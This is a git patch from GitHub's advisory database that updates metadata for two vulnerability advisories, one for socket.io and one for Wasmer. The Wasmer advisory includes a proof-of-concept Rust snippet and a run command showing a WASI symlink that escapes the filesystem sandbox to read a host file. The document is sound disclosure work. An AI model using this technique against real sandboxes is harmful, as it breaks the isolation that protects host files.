From 06db421c73eee39dcb459fd245f1aaf10c978dfe Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 20 Jun 2024 14:16:30 +0000 Subject: [PATCH] Publish Advisories GHSA-25hc-qcg6-38wj GHSA-55f3-3qvg-8pv5 --- .../06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json | 9 +++++++-- .../06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json | 13 ++++++++++--- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/advisories/github-reviewed/2024/06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json b/advisories/github-reviewed/2024/06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json index e8a4d72f3ca..6efe821c699 100644 --- a/advisories/github-reviewed/2024/06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json +++ b/advisories/github-reviewed/2024/06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-25hc-qcg6-38wj", - "modified": "2024-06-19T18:38:19Z", + "modified": "2024-06-20T14:14:51Z", "published": "2024-06-19T15:04:41Z", "aliases": [ "CVE-2024-38355" @@ -66,6 +66,10 @@ "type": "WEB", "url": "https://github.com/socketio/socket.io/security/advisories/GHSA-25hc-qcg6-38wj" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38355" + }, { "type": "WEB", "url": "https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115" @@ -81,11 +85,12 @@ ], "database_specific": { "cwe_ids": [ + "CWE-20", "CWE-754" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-06-19T15:04:41Z", - "nvd_published_at": null + "nvd_published_at": "2024-06-19T20:15:11Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json b/advisories/github-reviewed/2024/06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json index 19d87bfce83..f84289ce0cf 100644 --- a/advisories/github-reviewed/2024/06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json +++ b/advisories/github-reviewed/2024/06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-55f3-3qvg-8pv5", - "modified": "2024-06-19T18:38:48Z", + "modified": "2024-06-20T14:14:38Z", "published": "2024-06-07T19:40:00Z", "aliases": [ "CVE-2024-38358" @@ -9,7 +9,10 @@ "summary": "Symlink bypasses filesystem sandbox", "details": "### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n └── dir\n └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n unsafe {\n let filefd = wasi::path_open(\n 5,\n wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n \"app/dir/file\",\n wasi::OFLAGS_CREAT,\n wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n 0,\n 0,\n )\n .unwrap();\n eprintln!(\"filefd: {filefd}\");\n\n let mut buf = [0u8; 10];\n let iovs = [wasi::Iovec {\n buf: buf.as_mut_ptr(),\n buf_len: buf.len(),\n }];\n\n let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n", "severity": [ - + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" + } ], "affected": [ { @@ -37,6 +40,10 @@ "type": "WEB", "url": "https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38358" + }, { "type": "WEB", "url": "https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662" @@ -53,6 +60,6 @@ "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2024-06-07T19:40:00Z", - "nvd_published_at": null + "nvd_published_at": "2024-06-19T20:15:11Z" } } \ No newline at end of file